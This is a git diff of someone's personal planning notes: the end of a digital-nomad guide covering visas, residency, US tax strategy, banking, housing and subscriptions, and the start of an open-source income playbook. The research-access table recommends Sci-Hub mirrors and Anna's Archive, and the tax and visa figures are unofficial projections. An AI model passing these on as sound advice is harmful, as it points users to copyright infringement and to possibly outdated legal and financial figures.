VITEM XIV | $1,500/mo | 1yr + 1yr | $100 | If >183 days, worldwide | **Yes** | +| **Mexico** | Temporary Resident | $2,700/mo (or $108k in savings) | 1-4yr | $350 | If non-resident, foreign income exempt | **Yes** | +| **UAE** | Virtual Work Visa | $3,500/mo | 1yr renewable | $611 | Zero income tax | **Yes** | +| **Indonesia (Bali)** | B211A then E33G remote worker | $60k/yr | 1-5yr | $1500+ | If <183 days, no tax | **Yes** | +| **Thailand** | DTV (Destination Thailand Visa, 2024) | $14k in savings | 5yr multi-entry, 180 days/visit | $500 | Foreign income only if remitted same year | **Yes** | +| **Thailand** | LTR | $80k income or $1M assets | 10yr | $1700 | 17% flat on Thailand income for some categories | **Yes** | +| **Malaysia** | DE Rantau | $24k/yr | 1yr + 1yr | $250 | Non-resident: only Malaysian-source | **Yes** | +| **Japan** | DNV (launched 2024) | ¥10M (~$66k) | 6 months, no renewal | ¥4000 | If <183 days, foreign income exempt | No (14-E adjacent, not member) | +| **South Korea** | F-1-D | $66k/yr | 1yr + 1yr | $90 | Non-resident exempt on foreign | No | +| **Taiwan** | Employment Gold Card | Variable, professional | 1-3yr | $300-$600 | Income split | **Yes** | + +### Outside-14-Eyes nomad visas ranked for Kris + +Based on the academia.md filter (outside US/UK/CA/AU/NZ/DK/FR/NL/NO/DE/BE/IT/ES/SE): + +1. **Georgia (Remotely from Georgia / visa-free 365-day)** — best in class. No application required, Tbilisi has 1 Gbps internet widely, 1% small-business tax, cost of living is low, US citizens visa-free. +2. **UAE (Virtual Work Visa)** — zero income tax, world-class infrastructure, expensive but ROI on $250k is excellent. Dubai/Abu Dhabi. +3. **Thailand (DTV, 2024)** — 5-year multi-entry, $14k savings requirement, Chiang Mai cost of living. Foreign income untaxed if not remitted same year. +4. **Costa Rica (Rentista)** — Latin America base, foreign income exempt, $3k/mo income req, 1-year renewable. +5. **Panama (Friendly Nations)** — fast permanent residency path, foreign-income exempt, Spanish-speaking, time-zone aligned with US. +6. **Mexico (Temporary Resident)** — easy, cheap, time-zone aligned, CDMX has excellent infrastructure. +7. **Colombia (M Visa)** — Medellín or Bogotá, cheap, low income requirement. +8. **Argentina (DNV)** — Buenos Aires is a European-feel city at half the cost, foreign income exempt for non-residents, currency situation evolving. +9. **Malaysia (DE Rantau)** — Penang and KL, non-resident foreign income exempt, English widely spoken. +10. **Indonesia (E33G)** — Bali, $60k income req, 5-year visa is excellent. + +### Residency by Investment +- **Portugal Golden Visa**: post-2023 reforms removed real estate. Fund investment ~€500k, business creation, cultural-heritage donation. Still works, leads to citizenship in 5 years with minimal physical presence. Not outside 14-Eyes. +- **Panama Friendly Nations Visa**: $200k real estate or $750k bank deposit + employment letter, fast permanent residency, foreign-income tax-free. **Outside 14-Eyes.** +- **Mexico Temporary Resident → Permanent**: $108k in savings demonstrated. Permanent after 4 years. +- **Paraguay**: deposit ~$5,000 (the exact route is being reformed; verify before committing). Permanent residency. Citizenship in 3 years. Genuinely cheap; lighter infrastructure. +- **Uruguay**: tax residency by living 60+ days/year, "Vacaciones Fiscales" 11-year foreign-income tax holiday for new residents. + +### Second-passport descent pathways +- **Italy (jure sanguinis)**: rules **tightened March 2024 and again 2025**. The new law (Decreto Tajani, March 2025) limits to two generations back (parent or grandparent must be Italian-born), eliminating the previously unlimited 1861-cutoff line. Existing applications grandfathered for now but disputed. Honest read: harder than it was, still possible if you have a parent or grandparent born in Italy. +- **Ireland**: Foreign Births Register, one generation back (grandparent born in Ireland). Straightforward. +- **Poland**: confirmation of Polish citizenship for descendants. Documents required: birth/marriage/naturalization papers showing unbroken chain. Slow but works. +- **Hungary**: simplified naturalization for descent. Hungarian-language exam required. +- **Lithuania**: descent + restoration for pre-1940 emigrants. +- **Latvia**: similar, narrower. + +### Naturalization-by-residence timelines +| Country | Years required | Notes | +|---------|----------------|-------| +| Argentina | 2 | Famously fast | +| Paraguay | 3 | Cheap, lighter infrastructure | +| Portugal | 5 | After legal residency; A2 Portuguese | +| Mexico | 5 (or 2 if married to Mexican) | Spanish exam | +| Spain | 10 (2 for Latin Americans, Sephardim) | | +| Uruguay | 3 (married) / 5 (single) | "Legal residence" interpretation varies | +| Brazil | 4 (1 for Portuguese-speaking countries) | | + +### Five (Six) Flags theory, 2026 reality check + +The classic "Perpetual Traveler" framework (Harry Schultz / W.G. Hill, refreshed by Andrew Henderson at Nomad Capitalist) says: split the legal life across countries to minimize the claim any one state has on you. + +| Flag | Definition | Reality for a US citizen | +|------|-----------|--------------------------| +| **1. Citizenship (passport)** | Where you're a citizen | US can't be escaped without renunciation. Second passport adds optionality, not tax relief. | +| **2. Residency** | Where you legally reside | Pick low/no income tax (UAE, Bahamas, Monaco — or US states like FL/TX/SD/WY) | +| **3. Banking** | Where your money lives | Wise, Schwab, plus one offshore for diversification (Singapore, Switzerland, Liechtenstein) | +| **4. Business** | Where your business is | LLC in WY/DE/NV, or offshore IBC (BVI, Cayman). Watch CFC/Subpart F rules as US citizen | +| **5. Assets** | Where your investments sit | Brokerage in US (Schwab, Fidelity, IBKR) is fine. Crypto self-custody. Real estate diversified | +| **6. Play** | Where you spend time | Cheap, safe, good internet, low friction | + +Honest take: a lot of "Five Flags" content online is YouTube grift selling overpriced Caribbean passports. The real strategy for a US citizen with $250k income is narrower: +1. Set up SD/FL/TX domicile (state tax flag). +2. Maximize FEIE if physical presence permits (federal tax flag). +3. S-corp election on 1099 income (SE tax flag). +4. Banking: Schwab + Fidelity + Wise + one international. +5. Get a backup passport over 5-10 years (Italy descent if eligible, else Portugal naturalization). + +### Perpetual Traveler reality for US citizens + +**You cannot escape US federal income tax without renouncing.** The US is one of two countries (the other is Eritrea) that taxes worldwide income of citizens regardless of residence. So: +- **FEIE (Foreign Earned Income Exclusion)**: $126,500 for 2024, indexed to inflation, so likely $130-135k by 2026. Requires either the Bona Fide Residence Test (full tax year abroad with intent) or the Physical Presence Test (330 days outside the US in any 12-month period). +- **Foreign Housing Exclusion**: stacks on top of FEIE, additional ~$15-35k depending on city. +- **Foreign Tax Credit**: if you pay foreign tax, you can credit it against US tax. Mutually exclusive with FEIE for the same income. +- **Self-employment tax (15.3%)**: FEIE does NOT exclude this. You still owe SE tax. Workarounds: foreign corporation (complex, CFC rules), totalization agreement country (Korea, Japan, most of Europe). + +The foreign-resident play for a US citizen is mostly about **state tax avoidance**, not federal. Federal at 22-24% effective on $250k is what it is. + +### Banking & payments globally + +| Service | Use | Cost | +|---------|-----|------| +| **Wise** (https://wise.com) | Multi-currency, real FX, debit card | Free account, FX ~0.4% | +| **Revolut** (https://www.revolut.com) | Europe, GBP/EUR | Free/€8/€14 tiers | +| **Charles Schwab High-Yield Investor Checking** (https://www.schwab.com) | **All foreign ATM fees refunded** | Free, $0 minimum | +| **Fidelity Cash Management** | Same ATM fee refund | Free | +| **Mercury** (https://mercury.com) | Business / treasury (US LLC) | Free | +| **Charles Schwab International** | Brokerage outside US | Free | +| **Interactive Brokers** | Multi-currency brokerage, low fees | Free with $10/mo activity | +| **HSBC Expat / Citi Global** | Wealthy expat full-service | Maintenance fees | +| **Wise Business** | Multi-currency for US LLC | Free | + +The Schwab debit card is the single most important card for an international traveler: $0 ATM fees, refunded foreign transaction fees, no maintenance. + +#### Crypto rails for cross-border +- **USDC on Base or Solana**: cheap, fast, on-ramp via Coinbase or Kraken, off-ramp via local exchange in destination (Bitso in Mexico, Bitfinex in many places, P2P via Binance in Argentina). +- **Never carry seed phrases across borders.** Use Casa multisig (https://casa.io) or self-managed Shamir backup with shares pre-positioned. + +#### Capital controls to know +- **Argentina**: significant. Multiple official exchange rates, formal restrictions on USD purchase. Use Western Union for blue rate; track DolarHoy. +- **China**: $50k/yr individual outflow cap, FX scrutiny. +- **India**: FEMA. LRS allows $250k/yr remittance outbound. +- **Russia**: don't. + +--- + +## 5. Housing + +### Long-term rental hacks + +#### 28+ day Airbnb / VRBO discount +Default Airbnb discount for monthly stays is 20-40%. Many hosts will negotiate further. Pre-platform negotiation (going off-app) is technically a TOS violation and risky, no platform protections if it goes bad. The smart play: book first month on-platform, negotiate next stay direct with the same host once trust is established. + +#### Direct platforms +- **Booking.com Long Stay** (https://www.booking.com): aggressive on monthly rates in 2024-2026. +- **Furnished Finder** (https://www.furnishedfinder.com): US-focused, originally for traveling nurses, now broader. +- **Spotahome** (https://www.spotahome.com): EU mid-term, mostly Spain/Portugal/Italy. +- **Blueground** (https://www.theblueground.com): polished, monthly furnished, 30+ cities. Expensive but reliable. +- **Flatio** (https://www.flatio.com): EU mid-term, vetted, no security deposit. +- **Nestpick** (https://www.nestpick.com): aggregator for mid/long-term. + +#### Country-specific platforms +| Country | Site | +|---------|------| +| Spain / Portugal | https://www.idealista.com | +| France | https://www.seloger.com | +| Italy | https://www.immobiliare.it | +| Germany | https://www.immobilienscout24.de | +| Japan | https://suumo.jp, https://www.realestate.co.jp (English) | +| South Korea | Naver Real Estate (https://land.naver.com) | +| Mexico | https://www.inmuebles24.com | +| Argentina | https://www.zonaprop.com.ar | +| Thailand | https://www.ddproperty.com | +| Georgia | https://www.myhome.ge | + +### House-sitting +- **TrustedHousesitters** (https://www.trustedhousesitters.com): $129-$259/yr. Realistic to land 3-6 sits/year at 1-3 weeks each = 30-90 days of free housing. +- **Nomador** (https://www.nomador.com): smaller network, often higher quality. +- **MindMyHouse** (https://www.mindmyhouse.com): cheap ($29/yr), thinner inventory. +- **HouseCarers** (https://www.housecarers.com): older, still active. + +Honest: house-sitting is competitive for desirable locations. Build reviews by taking unsexy first sits (remote cabins, weird pet combos). + +### Hostels long-stay +Many hostels offer monthly rates of $300-$600 in cheap geographies. Private rooms in good hostels in Bangkok, Lisbon, Tbilisi can be $500-$900/mo all-in (utilities/coworking/coffee included). Not ideal at 30 but works for stretches. + +### Co-living +| Brand | Price/mo | Cities | Notes | +|-------|----------|--------|-------| +| **Selina** (https://www.selina.com) | $700-$1500 | 100+ globally | Variable quality, sometimes flaky | +| **Outsite** (https://www.outsite.co) | $1500-$2500 | 25+ | Premium, members-only, dependable | +| **Habyt** (https://www.habyt.com) | $700-$1800 | EU + Asia + US | Largest, growing | +| **KASA** | $1500-$3000 | US-mostly | Hotel-style monthly | +| **Roam** (defunct in some markets, check) | $1800-$2800 | Bali, Lisbon, etc. | High-end | +| **Common** | $1200-$2200 | US | NYC, LA, etc. | + +Co-living bundles wifi, coworking, community, sometimes meals. Useful for landing in a new city without logistics overhead. + +### Monastic / retreat / religious hospitality +- **Wat Suan Mokkh** (Thailand, https://www.suanmokkh.org): 10-day silent retreats, ~$30/day donation, real Buddhist tradition. +- **Plum Village** (France/Vietnam/Thailand, https://plumvillage.org): Thich Nhat Hanh's tradition, 1-3 week stays. +- **Tergar Monasteries** (various): Mingyur Rinpoche lineage, retreats. +- **St. Benedict's Rule of Hospitality**: most Benedictine monasteries in Italy, France, Spain, and the US take guests for 3-7 day stays for "modest donation." Examples: Monastero di Camaldoli (Italy), Monastère de Solesmes (France). +- **Christian Hospitality Network**: pilgrims along the Camino de Santiago can stay in albergues for €5-15/night. +- **Hindu ashrams**: Sivananda (Rishikesh), Isha Yoga (Coimbatore, India), ISKCON (worldwide). Donation-based, structured days, some require yoga participation. + +These are not tourist hostels. Show up with intent. Most expect participation in morning prayer/practice. + +### Work-trade +- **WWOOF** (https://wwoof.net): Worldwide Opportunities on Organic Farms. ~25 country chapters, $20-$50 membership per country. Room + board for ~25h/wk of farm work. +- **Workaway** (https://www.workaway.info): $54/yr. Hosts include hostels, families, projects. Broader than WWOOF. +- **Worldpackers** (https://www.worldpackers.com): $49/yr. Similar to Workaway, polished UI. +- **HelpX** (https://www.helpx.net): cheap, old-school, broad. + +### Cheapest functional metros, 2026: 1BR rent + internet quality + +| City | 1BR rent (USD/mo) | Internet | Notes | +|------|-------------------|----------|-------| +| **Tbilisi, Georgia** | $400-$700 | Gigabit widely (Caucasus Online, MagtiCom) | Best nomad infra outside SE Asia | +| **Chiang Mai, Thailand** | $300-$600 | 1 Gbps, $20-$30/mo (3BB, AIS) | Largest nomad scene | +| **Da Nang / Hanoi, Vietnam** | $300-$500 | 1 Gbps fiber, ~$10/mo (Viettel, FPT) | Fastest cheap internet on earth | +| **Da Lat, Vietnam** | $250-$400 | 100-500 Mbps | Cooler climate | +| **Medellín, Colombia** | $500-$800 | 300-500 Mbps (Claro, Tigo) | Best LatAm nomad city | +| **Mexico City** | $500-$1100 | 200-500 Mbps (Izzi, Totalplay) | Roma/Condesa $800-$1100, edges cheaper | +| **Oaxaca, Mexico** | $400-$700 | 100-300 Mbps | Lower cost, slower net | +| **Lisbon, Portugal** | $900-$1500 | 1 Gbps (MEO, NOS) | Expensive now | +| **Porto, Portugal** | $700-$1200 | 1 Gbps | Lisbon-lite | +| **Tirana, Albania** | $300-$500 | 100-300 Mbps (ALBtelecom) | Underrated | +| **Yerevan, Armenia** | $400-$700 | 100-500 Mbps | Cheap, safe | +| **Penang, Malaysia** | $400-$700 | 500 Mbps-1 Gbps (Unifi, Time) | Time Fibre is excellent | +| **Kuala Lumpur** | $500-$900 | 1 Gbps | Better infra, higher cost | +| **Bali (Canggu/Ubud)** | $500-$1000 | 50-300 Mbps, patchy | Power outages common | +| **Bishkek, Kyrgyzstan** | $200-$400 | 50-200 Mbps | Cheapest, lightest infra | +| **Almaty, Kazakhstan** | $400-$700 | 100-500 Mbps | Underrated, post-2022 exodus boost | +| **Buenos Aires** | $400-$800 (USD blue) | 300 Mbps-1 Gbps | Currency volatility, blue dollar | +| **Cape Town** | $500-$1000 | 1 Gbps (Vumatel) | Loadshedding requires UPS | + +For Kris specifically, **Tbilisi is the winner**. 1-year visa-free entry, gigabit internet widely, low cost, safe, Latin alphabet adjacent, growing English. Chiang Mai is the runner-up, slightly cheaper but Schengen / Schengen-adjacent travel from Asia is a longer haul. + +--- + +## 6. Expenses Driven to Floor + +### Cell / connectivity + +| Option | Cost | Best for | Limit | +|--------|------|----------|-------| +| **Google Fi Unlimited Plus** | $65/mo solo, $50/line family | International data in 200+ countries | Throttled to 256 Kbps after 50 GB, "primarily US" rule (must use majority in US) | +| **T-Mobile Magenta MAX / Go5G+** | $90/mo | Free unlimited international 2G/4G in 215 countries, 5GB high-speed | Same caveat, must be primarily US | +| **Airalo** (https://www.airalo.com) | $5-$50 per region eSIM | Short trips, one-country | eSIM-only, data-only | +| **Holafly** (https://esim.holafly.com) | $19-$99 per package | Unlimited-data trips | Pricier per GB but unlimited | +| **GigSky** | $10-$40 | Coverage in obscure markets | Spotty | +| **Nomad** (https://www.getnomad.app) | $5-$50 | Wide coverage, good rates | | +| **Saily** (NordVPN spinoff) | $4-$40 | Linked to NordVPN ecosystem | | +| **Local SIM** | $5-$30 | Long stays | Acquiring as a non-resident varies; some countries require local ID | + +Recommendation: keep T-Mobile or Google Fi as the US-rooted line (Google Voice forwards to it), use eSIMs (Airalo for short trips, Holafly for unlimited-data needs) as the primary data line at destination. + +### VoIP / US number maintenance +- **Google Voice** (https://voice.google.com): free, works globally over data. Best for the long-haul US number. +- **JMP.chat** (https://jmp.chat): SIP-based, $5/mo, real US number, works with any SIP client. Privacy-friendlier than Google. +- **Twilio** (https://www.twilio.com): roll your own, ~$1/mo per number plus per-minute. For nerds. +- **Signal username**: lets you receive Signal messages without sharing your phone number. + +### Food + +#### Cooking vs eating out +- **Cheaper to eat out**: Thailand, Vietnam, Mexico, Indonesia, parts of India. Street food $1-$3/meal, sit-down $3-$8. +- **Cheaper to cook**: Western Europe, US, UK, Japan (mostly), Australia, Canada. Groceries are competitive, restaurant markup high. +- **Hybrid**: cheap geographies still benefit from cooking breakfast (eggs/coffee) and eating lunch/dinner out. + +#### Monthly food budget by geography +| Geography | Monthly food (USD) | Composition | +|-----------|---------------------|-------------| +| Thailand (Chiang Mai) | $200-$400 | Mostly street food + occasional groceries | +| Vietnam | $150-$300 | Pho, banh mi, com tam, very cheap | +| Mexico | $300-$500 | Mercado + occasional restaurants | +| Eastern Europe (Tbilisi, Yerevan, Tirana) | $300-$600 | Mix cook/eat-out | +| Bali | $300-$500 | Warungs cheap, expat food expensive | +| Western Europe | $700-$1200 | Mostly cooking + occasional restaurant | +| US (urban) | $500-$900 | Cooking-heavy | +| Japan | $400-$700 | Konbini + cheap chains + cooking | + +#### Eating-discipline plays +- **OMAD / time-restricted eating**: not a fad position, saves real money (one meal of ingredients vs three) and reduces logistics overhead. Many nomads default to this. +- **Soylent / Huel / Jimmy Joy**: $2-$4 per meal, complete nutrition, zero time cost. For focus days. Huel Powder is the best balance of cost and macros. +- **The expat-cafe trap**: $10 avocado toast + $5 cappuccino x 30 days = $450/mo just on the "feel European" tax. Aware of it = control over it. + +### Subscriptions: stack-and-weigh audit + +#### Software / dev +| Service | Cost | Value | Alternative | +|---------|------|-------|-------------| +| GitHub Pro | $4/mo | Private repos, Actions minutes | Codeberg (free, FOSS), self-host Gitea | +| GitHub Copilot | $10-$39/mo | Skip if you use Claude/Cursor | (already covered) | +| Cursor Pro | $20/mo | IDE-grade AI | Claude Code (already paid) | +| Claude Code Max | $100-$200/mo | (already in use) | | +| Codex / OpenAI Plus | $20/mo | Backup model | | +| **DigitalOcean** | $6+/mo | Cheap VPS | Hetzner ($4/mo, EU) already used | +| **Hetzner Cloud** | $4-$30/mo | Best price/perf VPS, EU | | +| AWS | Variable | Activate program ($1k-$100k credits if eligible via accelerator/VC) | GCP/Azure equiv | +| **Cloudflare** Pro | $20/mo | WAF, page rules; usually free tier is enough | Stay free | +| **Vercel** Pro | $20/mo | Already using | | +| Linear | $8/mo | Issue tracking | GitHub Issues, Plane (FOSS), Tracks | +| Notion Personal Pro | $10/mo | Docs/wiki | Obsidian (free + Sync $5/mo), Logseq (free), Silverbullet (FOSS self-host) | +| Obsidian Sync | $5/mo | Multi-device | Self-host via Syncthing, free | +| 1Password Family | $5/mo | Polish | Vaultwarden self-hosted (free) | + +#### Information / research +| Service | Cost | Notes | +|---------|------|-------| +| LWN.net | $7/mo | Linux/kernel coverage, only real value if you read kernel news | +| ACM Digital Library | $99/yr (student) or $198/yr | **Worth it for math/CS research access**. Pair with arxiv-sanity | +| arXiv | Free | https://arxiv.org | +| The Browser | $52/yr | Hand-curated articles, light value | +| Stratechery | $15/mo | Tech/business analysis. Worth it if you read it weekly | +| Asianometry | $5/mo (Patreon) | Semis + China industrial; free YT version is fine | +| Construction Physics | Free + paid tier | Brian Potter, structural/industrial econ | +| Astral Codex Ten | Free + $10/mo | Scott Alexander, free is fine | +| Pirate Wires | $10/mo | Mike Solana, tech-politics | +| The Diff | $25/mo | Byrne Hobart, finance/strategy. Best in class | +| The Generalist | $25/mo | Tech/biz | +| Matt Levine / Money Stuff | Free (Bloomberg) | | +| Marginal Revolution | Free | Cowen/Tabarrok | + +#### Research library access (Kris's confirmed stack — NCIS unavailable) +| Service | Cost | Status | What it unlocks | +|---------|------|--------|-----------------| +| AMS Student Membership | $48/yr | Active | MathSciNet, AMS journals | +| Anna's Archive donor | ~$60/yr | Planned | Library Genesis + Sci-Hub + Z-Library meta-search, donor speed | +| JSTOR (JPASS) | $199/yr | Planned (until UF Online enrollment) | ~12M articles; becomes free via @ufl.edu library proxy on UF enrollment | +| Sci-Hub | Free | Active | ~95% of paywalled scientific papers; mirrors sci-hub.se/.ru/.st | +| Project Gutenberg | Free | Active | ~70k public-domain ebooks | +| zbMATH Open | Free | Active | Math reviewing, free since 2021; complement to MathSciNet | +| arXiv / bioRxiv / SSRN | Free | Active | Preprint servers (the actual research frontier) | +| DOAJ | Free | Active | 20k+ fully open-access journals | +| NYPL card | Free | If NY tie | JSTOR partial + ProQuest + Gale + EBSCO remote | +| BPL eCard | Free | If MA tie or in-person | Similar database stack | +| LoC Reader Card | Free (one DC visit) | If ever in DC | Largest library in the world reading-room + remote DBs | + +Recurring annual baseline: ~$108/yr (AMS + Anna's Archive). JSTOR is free post-UF-enrollment; ~$199/yr via JPASS before that. See `academia.md` §2.6.9 for full discussion and sequencing. + +#### Privacy / opsec +| Service | Cost | Notes | +|---------|------|-------| +| Mullvad VPN | €5/mo | Best privacy | +| ProtonMail Plus | $4-$10/mo | Email | +| ProtonVPN | $4-$10/mo | Alternative VPN | +| Bitwarden Premium | $10/yr | Free tier is fine for most | +| 1Password Family | $60/yr | Polished alternative | +| Yubikey | $55 each, one-time | Two minimum | + +#### Trading / financial +| Service | Cost | Notes | +|---------|------|-------| +| public.com | Free | OK retail broker | +| Schwab brokerage | Free | Anchor brokerage | +| Fidelity | Free | Second anchor | +| Interactive Brokers (IBKR) | Free with activity | Best low-cost multi-currency | +| TradingView Pro / Premium | $15-$60/mo | Charting | +| Polygon.io | $30-$200/mo | Market data API | +| Tiingo | $10-$50/mo | Cheaper data | +| Norgate Data | $30+/mo | Verify if still subscribed | +| QuantConnect | $10-$50/mo | Backtesting / live algo | +| Mercury | Free | Business banking | + +#### Media / leisure +| Service | Cost | Notes | +|---------|------|-------| +| Spotify Premium | $11/mo | Or Tidal HiFi $11/mo for FLAC | +| Apple Music | $11/mo | If iOS-anchored | +| Netflix Standard | $15/mo | Geo-restricted; VPN-shareable | +| HBO Max | $10-$16/mo | Worth dropping; rotate | +| Apple TV+ | $10/mo | Few must-watch shows | +| Prime Video | Bundled with Prime $139/yr | Comes with Amazon Prime | +| Anna's Archive donation | $5-$10/mo | Faster downloads, supports the archive (https://annas-archive.org) | +| Kindle Unlimited | $12/mo | If you read 2+ books/mo | +| Audible | $15/mo | One credit = $15-$25 book | +| Libby + library card | Free | Audiobooks/ebooks via local library; get a US library card pre-departure | + +#### Communication +| Service | Cost | Notes | +|---------|------|-------| +| Signal | Free | Default | +| Google Workspace | $7-$18/user/mo | Already in use | +| ProtonMail Plus | $4-$10/mo | | +| Tutanota Premium | €3-€7/mo | | +| Twilio dev numbers | $1/mo + usage | | + +#### Other +| Service | Cost | Notes | +|---------|------|-------| +| Anytime Fitness | $30-$50/mo | International gym chain, key fob works in 5,000+ locations | +| Worldpackers | $49/yr | | +| TrustedHousesitters | $129-$259/yr | | +| Calm / Headspace | $70-$100/yr | Skip; YouTube + free apps | +| Blinkist | $80/yr | Skip; read the book or read a real summary | + +### Healthcare floor +- **SafetyWing Nomad Insurance**: $42/mo under 40, includes home country up to 30 days per 90. +- **IMG Patriot Platinum**: $80-$150/mo, robust. +- **GeoBlue Trekker**: $300/yr short-trip, ~$200/mo expat. +- **Direct Primary Care (DPC) in the US** when stateside: $50-$100/mo for unlimited GP visits, telehealth, basic labs. Find via https://mapper.dpcfrontier.com. +- **Catastrophic-only US ACA plan**: Bronze tier $200-$400/mo, high deductible. Pair with HSA. +- **Dental tourism**: Mexico (Tijuana, Cancun), Thailand (Bangkok, Phuket), Hungary (Budapest), Costa Rica. Routine cleaning $30, root canal + crown $400-$800 vs $2,500-$4,000 in US. + +### Tax floor +- **State domicile**: TX, FL, NV, WA, TN, SD, AK, NH (NH has interest/dividends tax through 2024, repealed 2027). **South Dakota** is the dominant nomad domicile: low requirements (one night stayed), Escapees RV Club mail service in Sioux Falls (https://escapees.com), or Americas Mailbox (https://www.americasmailbox.com). SD has no income tax, no franchise tax, lenient driver's license rules. +- **FEIE 2026**: ~$130k+ projected (indexed for inflation). https://www.irs.gov/individuals/international-taxpayers/foreign-earned-income-exclusion +- **Self-employment / S-corp election**: at >$60k of 1099 income, electing S-corp on a single-member LLC pays yourself a "reasonable salary" + distribution. Saves ~15.3% SE tax on the distribution portion. Typical net savings: $6-$10k/yr at $100-$150k income, $10-$15k/yr at $200k+. Setup ~$500-$1500 (Collective, Formations, or a CPA). +- **HSA (Health Savings Account)**: 2026 limits projected ~$4,400 individual. Tax-deductible going in, tax-free growth, tax-free out for medical. Becomes IRA-like at 65. Requires HSA-eligible HDHP. Triple tax advantage. Best account in the US system. +- **Mega-backdoor Roth**: if your 401(k) plan allows after-tax contributions and in-service conversions, you can stash up to $46,500 (the 2024 number, going up) into Roth on top of the regular $23k. Most employees don't have this; freelancers/S-corp owners with a Solo 401(k) can build it. +- **Solo 401(k)**: best retirement vehicle for self-employed. 2026 limits ~$70k+ between employee + employer contribution. Pair with Mega Backdoor Roth. +- **SEP-IRA**: alternative, simpler, but no Roth option. + +--- + +## 7. The Three-Year Glide Path + +| Year | Phase | Income target | Location | Expense ceiling | Tax move | +|------|-------|---------------|----------|-----------------|----------| +| **Year 1 (2026-2027)** | US undergrad, pentest/BB starting, first algo deploys | $40-80k | US (FL or TX domicile; physical wherever undergrad lands) | $2,200/mo | Establish SD/FL/TX domicile via PMB. Open Solo 401(k). | +| **Year 2 (2027-2028)** | Income streams mature. Schengen+nomad-visa breaks (Portugal/Georgia/Mexico) during summer/winter terms. | $80-160k | 60% US / 40% abroad (Schengen quarter, Tbilisi quarter, CDMX/Medellín base) | $2,200/mo (US) / $1,500/mo (abroad) | S-corp election on 1099 income. Max HSA + Solo 401(k). | +| **Year 3 (2028-2029)** | Grad school abroad (OIST/EPFL/ETH) or full nomad. Income at target. | $200-300k | Mostly abroad. Tbilisi or Bangkok base + 3-4 secondary cities | $1,500-$2,500/mo | Establish bona fide residence or physical presence test for FEIE. State domicile remains SD/FL. Banking diversified (Wise + Schwab + Mercury + one foreign). | + +Cross-reference with `trading.md`, `pentest.md`, `bug-bounty.md`, `open-source.md` for income side. The income mix matters for tax strategy: trading gains (LTCG/STCG, no SE tax), pentest 1099 (SE tax, S-corp), bug bounty (1099 misc, S-corp eligible), open-source/grants (often 1099 misc). + +--- + +## 8. Off-grid Optionality + +Floor-everything is a strategy, not an identity. Physical resilience matters. + +- **STARGATE as eternal anchor**: keep STARGATE on Tailscale, accessible from any device worldwide via Tailscale exit node. Personal cloud + dotfile server + Vaultwarden + photo backup + git mirror. The single most important piece of personal infra. +- **Bug-out bag at US home base**: 72-hour kit. Cash $1k, 3 days food/water, hard-drive backup of critical data, sat-comm device (Garmin inReach Mini, $400 + $15/mo plan), passport copy, sealed waterproof container with seed phrase share. +- **Physical metals + cash float**: $5-10k mixed (3-4 oz gold, 30-50 oz silver, $2k cash) at home base. Not for trading, not for inflation hedge, for power outages, banking system disruptions, emergency relocation cost. +- **Bitcoin cold storage with seed split**: 2 physical locations minimum. Use SLIP-39 (3-of-5 or 2-of-3) so loss of one share doesn't destroy access. Memorized passphrase as a third factor. +- **Backup passport application in motion**: even if it takes 5 years, start. Italy descent if eligible, else Portugal residency clock. + +--- + +## 9. Things Worth Spending Real Money On + +Floor-everything fails when it hurts the work. Pay full price for: + +- **Bandwidth and mobile data**: never cheap out on internet. Day-rate Holafly for unlimited data is worth it during travel. Pay for the fiber upgrade at base. +- **Keyboard**: split mechanical. **ZSA Voyager** ($365, https://www.zsa.io/voyager) or **Kinesis Advantage 360** ($459) or **Moonlander Mark I** ($365). Travel-ready Voyager fits in a backpack. +- **Chair when stationary**: used **Herman Miller Aeron** or **Steelcase Leap** ($400-$700 on eBay) beats new $200 chair every time. When nomadic, find apartments with decent chairs included or buy used and resell. +- **Display**: 4K 27" or ultrawide when stationary. LG 27GN950-B, Dell U2723QE. +- **Books / scholarly access**: ACM membership ($99-$198/yr), arxiv-sanity, physical books for canonical works. Hardcover used from AbeBooks or Better World Books. +- **Health-supporting food**: never poison yourself to save $50/mo. Quality protein, vegetables, fermented foods, healthy fats. The downstream cost of cheap food is medical. +- **Travel insurance with extraction**: Global Rescue ~$660/yr. Single most important insurance line. +- **Yubikeys**: two minimum, three ideal. +- **Reliable banking**: Schwab + Fidelity + Mercury + Wise + one foreign. Never single-point-of-failure. +- **Sat-comm in remote travel**: Garmin inReach Mini 2 ($400 + service). Saves lives, gets you out of bad places, lets you signal you're alive. +- **Glasses / contacts**: if you wear them, two backup pairs, current prescription stored digitally. Lost glasses on the road is a real productivity event. +- **Travel insurance for electronics**: not always worth it, but a $30/yr policy on a $2k laptop is a small hedge. + +--- + +## Source Index + +Core references used throughout: +- Henley Passport Index: https://www.henleyglobal.com/passport-index +- US State Department travel advisories: https://travel.state.gov +- OSAC: https://www.osac.gov +- STEP: https://step.state.gov +- CBP border search: https://www.cbp.gov/travel/cbp-search-authority +- EFF border guide: https://www.eff.org/wp/digital-privacy-us-border-2017 +- IRS FEIE: https://www.irs.gov/individuals/international-taxpayers/foreign-earned-income-exclusion +- IRS SE tax: https://www.irs.gov/businesses/small-businesses-self-employed/self-employment-tax-social-security-and-medicare-taxes +- Schengen calculator: https://www.schengencalculator.com +- r/onebag: https://www.reddit.com/r/onebag +- r/churning: https://www.reddit.com/r/churning +- r/digitalnomad: https://www.reddit.com/r/digitalnomad +- Nomad List: https://nomadlist.com +- Numbeo (cost of living): https://www.numbeo.com +- Escapees RV Club (SD domicile): https://escapees.com +- Doctor of Credit: https://doctorofcredit.com +- Frequent Miler: https://frequentmiler.com +- point.me / seats.aero (award search) +- Tax Foundation state tax map: https://taxfoundation.org/data diff --git a/doc/income/open-source.md b/doc/income/open-source.md new file mode 100644 index 0000000000000000000000000000000000000000..e213ffc374ca1f6ba41dc0d73dd7061f6b97a4ea --- /dev/null +++ b/doc/income/open-source.md @@ -0,0 +1,451 @@ +# Open-Source Income & Status: A Systems-Programmer Playbook + +Target reader: a systems-focused developer (C, C++, Bash, Python, learning Rust/Lua/Scala/Haskell) who wants money plus standing in the Linux kernel, BSD, Plan 9, and suckless orbits. The aim is a paid permanent-maintainer slot on something that matters, with grant money, sponsorships, and conference status layered on top. + +--- + +## 1. Funding Mechanisms + +How money actually moves to OSS individuals. + +### GitHub Sponsors +- URL: https://github.com/sponsors +- Apply: https://github.com/sponsors/signup +- Fees: 0% from GitHub; payment processor fees pass through. +- Reality: Median sponsored dev earns under $20/month. The few who clear $5k+/month are project leads with massive corporate dependency footprint (Evan You pre-Vue Inc, Sindre Sorhus, Caleb Porzio, antirez). Systems devs who do well: 